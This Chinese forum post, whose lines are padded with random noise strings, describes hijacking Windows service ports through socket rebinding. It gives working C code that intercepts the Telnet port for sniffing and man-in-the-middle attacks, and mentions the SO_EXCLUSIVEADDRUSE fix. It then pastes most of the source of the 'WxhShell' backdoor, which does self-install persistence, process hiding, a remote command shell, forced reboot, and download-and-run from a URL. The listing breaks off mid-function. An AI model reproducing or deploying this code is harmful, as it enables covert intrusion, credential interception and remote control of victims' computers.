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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  -QOw8vm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !O-C,uSm  
Ynp{u`?  
  saddr.sin_family = AF_INET; ,oaw0Vw  
z74in8]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~vXaqCX  
4D[ '^q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =Vy`J)z9  
&8%e\W\K:/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y]{ >^`G  
Swp;HW7x  
  这意味着什么?意味着可以进行如下的攻击: |AcRIq  
fQL"O}Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g0>,%b  
a;QMA d!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r`AuvwHPs[  
6b%WHLUeT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2kdC]|H2?  
nA P.^_K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L,mQ   
Q2 zjZC*'%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Sp7ld7c  
+<xQM h8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }Z{=|rVE  
Ggl~nxz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o&`<+4 i  
2WtRJi?b|  
  #include F#5B<I  
  #include 2P/K K  
  #include c6nflk.l  
  #include    tj Gd )  
  DWORD WINAPI ClientThread(LPVOID lpParam);   OR}c)|1  
  int main() H|R T?Q  
  {  PZ{Dv'C  
  WORD wVersionRequested; KN7^:cC  
  DWORD ret; K$M^gh0  
  WSADATA wsaData; Jrg2/ee,*  
  BOOL val; p"l3e9&'j  
  SOCKADDR_IN saddr; 3l3+A+ n  
  SOCKADDR_IN scaddr; %=?cZfFqO  
  int err; pY_s*0_  
  SOCKET s; _Qh z3'I1  
  SOCKET sc; ?T>'j mmV=  
  int caddsize; z;A>9vQ_J  
  HANDLE mt; Vs%|pIV  
  DWORD tid;   QmLF[\Oo_  
  wVersionRequested = MAKEWORD( 2, 2 ); .A-]_98Z  
  err = WSAStartup( wVersionRequested, &wsaData ); 6U[4%(  
  if ( err != 0 ) { }?z@rt^  
  printf("error!WSAStartup failed!\n"); 0Z0:,!  
  return -1; 8zA=;~GHP  
  } ?;vgUO  
  saddr.sin_family = AF_INET; uL3Eq>~x  
   " R-!(9k^`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OiE;B  
]UH`Pdlt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Si_%Rr&jW  
  saddr.sin_port = htons(23); &VV~%jl;k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P( XaTU&-  
  { s3]?8hXd  
  printf("error!socket failed!\n"); -1ce<nN  
  return -1; ]u4Hk?j~<  
  } K_2|_MLlZ  
  val = TRUE; EL8NZ%:v:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yaG= j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  .&9 i  
  { ]8T |f  
  printf("error!setsockopt failed!\n"); FXzFHU/dP  
  return -1; :6zG7qES3  
  } %{/%mJoX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Eh =~T9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^s@8VAwi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c)A{p  
P>sFV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +T=(6dr  
  { dn }`i  
  ret=GetLastError(); lu#LCG-.  
  printf("error!bind failed!\n"); zN{K5<7o  
  return -1; \0mb 3Q'  
  } ~(pmLZ<GW}  
  listen(s,2); ~v'3"k6  
  while(1) ' v\L @"  
  { 7zHh@ B:]  
  caddsize = sizeof(scaddr); jCrpL~tWT  
  //接受连接请求 H|ER  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `)T~psT  
  if(sc!=INVALID_SOCKET) es>W$QKlo  
  { yv\#8I:qh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9*E7}b,  
  if(mt==NULL) txcf=)@>V  
  { g8w2Vz2/  
  printf("Thread Creat Failed!\n"); ?V}j`r8|\4  
  break; _UT$,0u_i  
  } ^2$ lJ  
  } ^=:9)CNw(  
  CloseHandle(mt); *;m5'}jsy  
  } :.?gHF.?  
  closesocket(s); om |"S  
  WSACleanup(); 4<cz--g  
  return 0; \mw(cM#:  
  }   -0_d/'d  
  DWORD WINAPI ClientThread(LPVOID lpParam) $uap8nN  
  { 5*E#*H  
  SOCKET ss = (SOCKET)lpParam; \MK*by  
  SOCKET sc; 6gT5O]]#o  
  unsigned char buf[4096]; Pl<; [cB  
  SOCKADDR_IN saddr; u{FDdR9<  
  long num; E[O<S B I  
  DWORD val; Ndo a4L)$  
  DWORD ret; hUD7_arKF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *J+_|_0nlW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f]G>(V=i  
  saddr.sin_family = AF_INET; !^v5-xO?rP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \=0V uz  
  saddr.sin_port = htons(23); <`jLY)sw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -AhwI  
  { H-3Eo#b#  
  printf("error!socket failed!\n"); _[Vf547vS  
  return -1; $8p7D?Y  
  } ?W( 6  
  val = 100; K]U;?h&CZc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M.nvB)  
  { RGn!{=  
  ret = GetLastError(); Z0`T\ay  
  return -1; ;L|uIg;.s  
  } } g3+{\x8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 01T`Flz  
  { M;0]u.D*=  
  ret = GetLastError(); fZxIY,  
  return -1; n.sbr  
  } fM #7y [  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) UG'bOF4  
  { @"Z7nJX  
  printf("error!socket connect failed!\n"); :> &fV  
  closesocket(sc); <\0vR20/  
  closesocket(ss); r1<F  
  return -1; avy"r$v_&  
  } Ja SI^go  
  while(1)  Ug:\  
  { Qj3a_p$)P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K"u NxZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ->h6j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `;YU.*  
  num = recv(ss,buf,4096,0); 7HVZZ!>~  
  if(num>0) kGL1!=>  
  send(sc,buf,num,0); a6:x"Tv  
  else if(num==0) 7@6g<"I  
  break; R/^u/~<  
  num = recv(sc,buf,4096,0); `+t.!tv!  
  if(num>0) U|HB=BP  
  send(ss,buf,num,0);  Y=`  
  else if(num==0) h?-#9<A  
  break; (;%|-{7e-  
  } GZ{]0$9I'  
  closesocket(ss); ,+g&o^T  
  closesocket(sc); f50L,4,  
  return 0 ; -!0_:m3  
  } kNT}dv]<  
VyRsPg[(  
VdP`a(Yd;  
========================================================== {V1Pp;A  
n!6Z]\8~$  
下边附上一个代码,,WXhSHELL '|7Woxl9  
.XkMk|t8  
========================================================== lQfL3`X!  
[>^PRs  
#include "stdafx.h" Q#(GI2F2#  
0 a~HiIh  
#include <stdio.h> X[2[!)Rk  
#include <string.h> cpt<WK}  
#include <windows.h> 6{ ,HiY  
#include <winsock2.h> 15$4&=O  
#include <winsvc.h> U!XS;a)  
#include <urlmon.h> A:y.s;<L 0  
c}[+h5  
#pragma comment (lib, "Ws2_32.lib") 4d_s%n?C  
#pragma comment (lib, "urlmon.lib") M7>(hVEAW'  
P]i =r] i  
#define MAX_USER   100 // 最大客户端连接数 _5MNMV LwW  
#define BUF_SOCK   200 // sock buffer #{9G sD  
#define KEY_BUFF   255 // 输入 buffer |!q$_at  
@HBEt^!  
#define REBOOT     0   // 重启 ^E6d`2w-  
#define SHUTDOWN   1   // 关机 'a^{=+  
pG^}Xf2a  
#define DEF_PORT   5000 // 监听端口 >K# ,cxY  
KOg?FmD  
#define REG_LEN     16   // 注册表键长度 [TF8'jI0  
#define SVC_LEN     80   // NT服务名长度 ^uS/r#l  
OG3/-K8R  
// 从dll定义API W$qd/'%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DFO7uw1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]APvp.Tw:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^v9|%^ug  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YpUp@/"  
"4H8A =  
// wxhshell配置信息 $|$e%   
struct WSCFG { g(O;{Q_  
  int ws_port;         // 监听端口 ;WT{|z  
  char ws_passstr[REG_LEN]; // 口令 m,')&{Rd  
  int ws_autoins;       // 安装标记, 1=yes 0=no +>7$4`Nb2  
  char ws_regname[REG_LEN]; // 注册表键名 iqhOi|!  
  char ws_svcname[REG_LEN]; // 服务名 G5D2oQa=8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CK_(b"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 * n(> ^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _{jP;W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sA9 &/p/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -ng=l;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8hA^`Y  
Fg/dS6=n`?  
}; wA`"\MWm  
gPzL*6OS A  
// default Wxhshell configuration NZu)j["  
struct WSCFG wscfg={DEF_PORT, j<pw\k{i  
    "xuhuanlingzhe", 7@a 0$coP  
    1, `>D9P_Y"jI  
    "Wxhshell", 7%OKH<i\2<  
    "Wxhshell", 9Q W&$n^  
            "WxhShell Service", O3n_N6| q  
    "Wrsky Windows CmdShell Service", (#q<\`  
    "Please Input Your Password: ", 4R>zPEo  
  1, ,jy*1Hjd  
  "http://www.wrsky.com/wxhshell.exe", }a&mY^  
  "Wxhshell.exe" R7~Yw*#,  
    }; BO.dz06(Rw  
rZ_>`}O2  
// 消息定义模块  Voh hQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5)zn:$cz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /?"8-0d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8_d -81Dd  
char *msg_ws_ext="\n\rExit."; 1Q}mf!Y  
char *msg_ws_end="\n\rQuit."; %HtuR2#ca  
char *msg_ws_boot="\n\rReboot..."; g^kx(p<u`  
char *msg_ws_poff="\n\rShutdown..."; !C:rb   
char *msg_ws_down="\n\rSave to "; :f'&z47  
'#O_}|ZN  
char *msg_ws_err="\n\rErr!"; *jzLFuWIG  
char *msg_ws_ok="\n\rOK!"; "`A:(<x  
!c<wS Q,  
char ExeFile[MAX_PATH]; Aox3s?  
int nUser = 0; e=/&(Y  
HANDLE handles[MAX_USER]; 0;~yZ?6_F  
int OsIsNt; BzpP7ZWV  
:^C'<SY2Gs  
SERVICE_STATUS       serviceStatus; SC#sax4N!=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &[?CTZ  
*!:QdWLq  
// 函数声明 6S?x D5 (  
int Install(void); OySy6IN]q  
int Uninstall(void); Nq8@Nyp  
int DownloadFile(char *sURL, SOCKET wsh); >s*DrfX6  
int Boot(int flag); < /p 8r  
void HideProc(void); ++[5q+b  
int GetOsVer(void); $2z _{@Z  
int Wxhshell(SOCKET wsl); X`zC ^z}  
void TalkWithClient(void *cs); eukA[nO7G  
int CmdShell(SOCKET sock); NWmtwS+@  
int StartFromService(void); 3+OsjZ  
int StartWxhshell(LPSTR lpCmdLine); PfW|77  
kpfwqHT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "oc$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FE5Q?*Ea  
KSs1CF'i  
// 数据结构和表定义 m8R=?U~!S  
SERVICE_TABLE_ENTRY DispatchTable[] = #y"=Cz=1u7  
{ #P2;K dDO  
{wscfg.ws_svcname, NTServiceMain}, 7CvD'QW /  
{NULL, NULL} UWG+#,1J.\  
}; Kf7WcJ4b  
=N.!k Vkl  
// 自我安装 ^!: "Q3  
int Install(void) MW Wu@SY  
{ Ar, 9U9  
  char svExeFile[MAX_PATH]; va{#RnU  
  HKEY key; o96:4j4  
  strcpy(svExeFile,ExeFile); ?Z %:  
p5 ]_}I`+2  
// 如果是win9x系统,修改注册表设为自启动 0=U70nKr  
if(!OsIsNt) { S0@T0y#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lue|Plm[y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4\ $3  
  RegCloseKey(key); SHdL /1~t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b#Kq[}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L&w.j0fq  
  RegCloseKey(key); =_=*OEgO]  
  return 0; *:_~Nn9_R;  
    } /Ic[N&  
  } OHp5z? z  
} EZr6oO@Nc  
else { 9q4_j  
zj M/M  
// 如果是NT以上系统,安装为系统服务 P{oAObP%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !Rw&DFU  
if (schSCManager!=0) 8:g!w:$x  
{ 6* rcR]  
  SC_HANDLE schService = CreateService )&1!xF   
  ( delf ]  
  schSCManager, r4k nN 2:  
  wscfg.ws_svcname, f{Qp  
  wscfg.ws_svcdisp, p!"(s/=  
  SERVICE_ALL_ACCESS, 9R]](g#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $iMC/Kym  
  SERVICE_AUTO_START, +g\;bLT  
  SERVICE_ERROR_NORMAL, o'UHStk  
  svExeFile, ubGs/Vzye  
  NULL, Y)p4]>lT+8  
  NULL, LM,fwAX  
  NULL, f]_mzF=&  
  NULL, O*7i } \{  
  NULL 9D4-^M:a  
  ); != zx  
  if (schService!=0) *6*-WV6  
  { QUP|FIpZ  
  CloseServiceHandle(schService); _PB@kH#  
  CloseServiceHandle(schSCManager); h`?k.{})M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !$kR ;Q"/  
  strcat(svExeFile,wscfg.ws_svcname); jXcNAl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xdF guV8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); , {<Fz%  
  RegCloseKey(key); ToU.mM?f^  
  return 0; #8?^C]*{0  
    } };SV!'9s?~  
  } vl5){@   
  CloseServiceHandle(schSCManager); sd!sus|( R  
} H-&3}   
} zl)&U=4l  
YN#XmX%  
return 1; sv=^k(d3  
} WN0c %kz=  
;QPy:x3  
// 自我卸载 f-+.;`H)T  
int Uninstall(void) )Qr6/c 8}  
{ h3 @s2 fK  
  HKEY key; p{C9`wi)  
zD_H yGf  
if(!OsIsNt) { fOBN=y6x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T|+$@o  
  RegDeleteValue(key,wscfg.ws_regname); 5faj;I{%JY  
  RegCloseKey(key); ZLJNw0!=|t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pG28M]\  
  RegDeleteValue(key,wscfg.ws_regname); JK^[{1 JI  
  RegCloseKey(key); Kq7C0)23  
  return 0; 84Zgo=P}  
  } 5; f\0<-  
} Tk+DPp^  
} 4K,''7N3  
else { #WEq-0L   
qy9i9$8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x7gjG"V  
if (schSCManager!=0) ak2dn]]D  
{ d Uz<1^L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4<Kgmy  
  if (schService!=0) F@<MT<TRf  
  { X%`KYo%  
  if(DeleteService(schService)!=0) { vf_OQ4'G,  
  CloseServiceHandle(schService); t?.\|2  
  CloseServiceHandle(schSCManager); u\5g3BH  
  return 0; d$Em\*C  
  } B(Y.`L? %E  
  CloseServiceHandle(schService); 0BXs&i-TP5  
  } ?pKN'`  
  CloseServiceHandle(schSCManager); Oxj(g;}  
} *H*\gaSh  
} Y-~;E3(  
GC?S];PL  
return 1; g< )72-h  
} lPp6 pVr  
f !!P  
// 从指定url下载文件 NDW8~lkL  
int DownloadFile(char *sURL, SOCKET wsh) Lupy:4AD  
{ :B^mV{~  
  HRESULT hr; `vX4! @Tw  
char seps[]= "/"; z"qv  
char *token; w`-$-4i  
char *file; U#"WrWj  
char myURL[MAX_PATH]; g-eq&#  
char myFILE[MAX_PATH]; T0?uC/7H  
nrbazyKm  
strcpy(myURL,sURL); oVEAlBm^v  
  token=strtok(myURL,seps); 1gk0l'.z  
  while(token!=NULL) v,*Q]r0m  
  { D+hB[*7Fs  
    file=token; 19w_tSg  
  token=strtok(NULL,seps); c.-cpFk^L&  
  } .t :DvB  
bN!u}DnN  
GetCurrentDirectory(MAX_PATH,myFILE); \ %_)_"Q  
strcat(myFILE, "\\"); 4JSZ0:O  
strcat(myFILE, file); Kt6C43]7  
  send(wsh,myFILE,strlen(myFILE),0); #~*XDWvIS~  
send(wsh,"...",3,0); T NIst  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |Z!@'YB  
  if(hr==S_OK) :@;6  
return 0; IO6MK&R  
else , | <jjq)  
return 1; -[<vYxX:h:  
K+-zY[3  
} N+hedF@ZU  
*LEu=3lp%>  
// 系统电源模块 bkkSIl+Q  
int Boot(int flag) *bU% @O  
{ ik1XGFy?  
  HANDLE hToken; ?4MSgu  
  TOKEN_PRIVILEGES tkp; HoV{Uzm  
<B=[hk!  
  if(OsIsNt) { {9Xm<}%u]]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gu!](yEgl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [JZ  h*A  
    tkp.PrivilegeCount = 1; Eh {up  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *F|i&2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /Go>5 B>  
if(flag==REBOOT) { f!EOYowW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IQ=CNby:  
  return 0; pqOA/^ar  
} nrF!;:x  
else { D|[/>x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rI *!"PL  
  return 0; 5'62ulwMP=  
} NQg'|Pt(%  
  } Vv2{^ !aZ  
  else { Fdr*xHx$P  
if(flag==REBOOT) { 2*Va9HP!q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a" ^#!G<+  
  return 0; TG4^_nRl  
} gh'kUZG a  
else { xSdN5RN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K_Z+]]$#  
  return 0; Z~:/#?/  
} p8$\uo9YQ  
} :|zp8|  
~K_]N/ >  
return 1; ,RR;VKj  
} Oe/73| >U  
xSx&79Ez<*  
// win9x进程隐藏模块 pmoGudaRF  
void HideProc(void) :&qC<UD  
{ gO9'q='5l  
u/;_?zI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cl@kRX<7'  
  if ( hKernel != NULL ) `!<x"xKu  
  { 2.!1kije  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F9v)R #u~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "OVi /:*B  
    FreeLibrary(hKernel); 0 -!?W  
  } ^M [#^wv,  
=A$Lgk>|  
return; GA(OK-WUd  
} 4P`PmQ=GQh  
8I<_w4fC  
// 获取操作系统版本 >).@Nb;e  
int GetOsVer(void) #dHr&1(  
{ $  9S>I'  
  OSVERSIONINFO winfo; }!eF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H U:1f)a a  
  GetVersionEx(&winfo); 2;3x,<Cg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >-UD]?>  
  return 1; ;_>s0rUV  
  else b=V)?"e-  
  return 0; CM`x>J  
} RA#\x.  
{bW"~_6}  
// 客户端句柄模块 qw6EPC  
int Wxhshell(SOCKET wsl) UIO6|*ka  
{ 7ytm .lU  
  SOCKET wsh; .L~fFns/  
  struct sockaddr_in client; <GSQ2bX[  
  DWORD myID; |*lH9lWJ  
A$%@fO.b  
  while(nUser<MAX_USER) ] ,!\IqO  
{ j@%K*Gb`  
  int nSize=sizeof(client); A"Tc^Ij  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (r.$%[,.<  
  if(wsh==INVALID_SOCKET) return 1; V#p G; ,  
9"m, p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qJ#L)  
if(handles[nUser]==0) xAR^  
  closesocket(wsh); *K]>}  
else eUX@9eML  
  nUser++; C}x4#bNK  
  } .a ~s_E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2q2p=H>&  
ju8',ZC  
  return 0; #k"1wSx16  
} 516VQ<?B  
\a{Aa  
// 关闭 socket ?y+\v'3v  
void CloseIt(SOCKET wsh) nwZ[Ygl|  
{ c2tEz&=G  
closesocket(wsh); ~r(g|?}P  
nUser--; _bN))9 3  
ExitThread(0); V`WI"HO+  
} gn-=##fT:i  
(2\li{$e  
// 客户端请求句柄 "r5'lQI  
void TalkWithClient(void *cs) [{hLF9yPx  
{ 6^7)GCq [  
U'JP1\  
  SOCKET wsh=(SOCKET)cs; Y9z:xE  
  char pwd[SVC_LEN]; s98: *o3  
  char cmd[KEY_BUFF]; ,\.YJD>z  
char chr[1]; QT7w::ht  
int i,j; sV9{4T~#|  
g @c=Bt$  
  while (nUser < MAX_USER) { &. |;yt%v  
TKj/6Jz|  
if(wscfg.ws_passstr) { u i s:\Uc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T=hm#]   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'US:Mr3  
  //ZeroMemory(pwd,KEY_BUFF); aRFi0h \  
      i=0; ucIVVT(u  
  while(i<SVC_LEN) { 4<=eK7;XR  
Ri^sQ<~(  
  // 设置超时 nOA ,x  
  fd_set FdRead; cP}5}+  
  struct timeval TimeOut; C=xo&I7  
  FD_ZERO(&FdRead); A"P\4  
  FD_SET(wsh,&FdRead); X=S}WKu  
  TimeOut.tv_sec=8; )?= kb  
  TimeOut.tv_usec=0; ZwY`x')  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mSVX4XW<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `<]P"G  
DzX6U[=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v.~Nv@+kR  
  pwd=chr[0]; jgZX ~D  
  if(chr[0]==0xd || chr[0]==0xa) { I1eb31<  
  pwd=0; hr/xpQW  
  break; mI _ 6f~  
  } ;ph+ZV  
  i++; DYy@t^sC  
    } `Z;B^Y0  
,d/CU  
  // 如果是非法用户,关闭 socket 8EW`*+%=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B=o#LL  
} ]ly)z[is"]  
$=;bccIob  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "9MX,}X*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7;$L&X  
bUipp\[aV  
while(1) { VC_3ll]vr  
;&7qw69k  
  ZeroMemory(cmd,KEY_BUFF); .{-iq(3  
+#i,87  
      // 自动支持客户端 telnet标准   il`C,CD  
  j=0; YQfZiz}Fv  
  while(j<KEY_BUFF) { LiHXWi{s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r`mzsO-'  
  cmd[j]=chr[0]; +ik N) D  
  if(chr[0]==0xa || chr[0]==0xd) { b_)QBE9  
  cmd[j]=0; ]ci|$@V  
  break; (<5'ceF )X  
  } B8BY3~}]  
  j++; ]%ZjD  
    } $AL|d[[T[  
IAt+S-q0  
  // 下载文件 Z;dwn~Tw  
  if(strstr(cmd,"http://")) { T^f&58{ 7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NZi'eZ{^`  
  if(DownloadFile(cmd,wsh)) \a~;8):q=i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XH_qA[=c]  
  else Cbf,X[u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :">~(Rd ZH  
  } *I;Mp  
  else { s>"WQ|;6  
\sXm Mc  
    switch(cmd[0]) { u+, jAkr  
  O7L6Htya  
  // 帮助 XQJV.SVS  
  case '?': { =^".{h'-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^HU=E@  
    break; m-pIFL<^N  
  } I{X@<o}  
  // 安装 \C'I l w  
  case 'i': {  (t]R#2{  
    if(Install()) ' m# Ymp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '&o> %V  
    else ]>]H:NEq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;Vtpq3  
    break; `(w kqa  
    } %CfTqbB  
  // 卸载 _tg3%X]  
  case 'r': { k?@W/}Iv9  
    if(Uninstall()) a}+ _Yo(Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aX%g+6t2  
    else :;gwdZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EZNB`gO  
    break; 8)Bn?6.  
    } s#8{:ko  
  // 显示 wxhshell 所在路径 s\K-(`j}  
  case 'p': { Snvj9Nr  
    char svExeFile[MAX_PATH]; @tU>~y{E  
    strcpy(svExeFile,"\n\r"); DQHGq_unP  
      strcat(svExeFile,ExeFile); T=)L5Vuq<  
        send(wsh,svExeFile,strlen(svExeFile),0); %@,:RA\pm  
    break; 5tbiNm^X  
    } y5opdIaT  
  // 重启 LnACce ?b  
  case 'b': { f<x t3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @o-evH;G  
    if(Boot(REBOOT)) ~NJLS-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hJtghG6v  
    else { epm8N /  
    closesocket(wsh); l.t.,:  
    ExitThread(0); JjL0/&  
    } 61 HqBa  
    break; =F; ^^VX  
    } 7[VCCI g  
  // 关机 (l,YI"TzT  
  case 'd': { ^gVbVz[17  
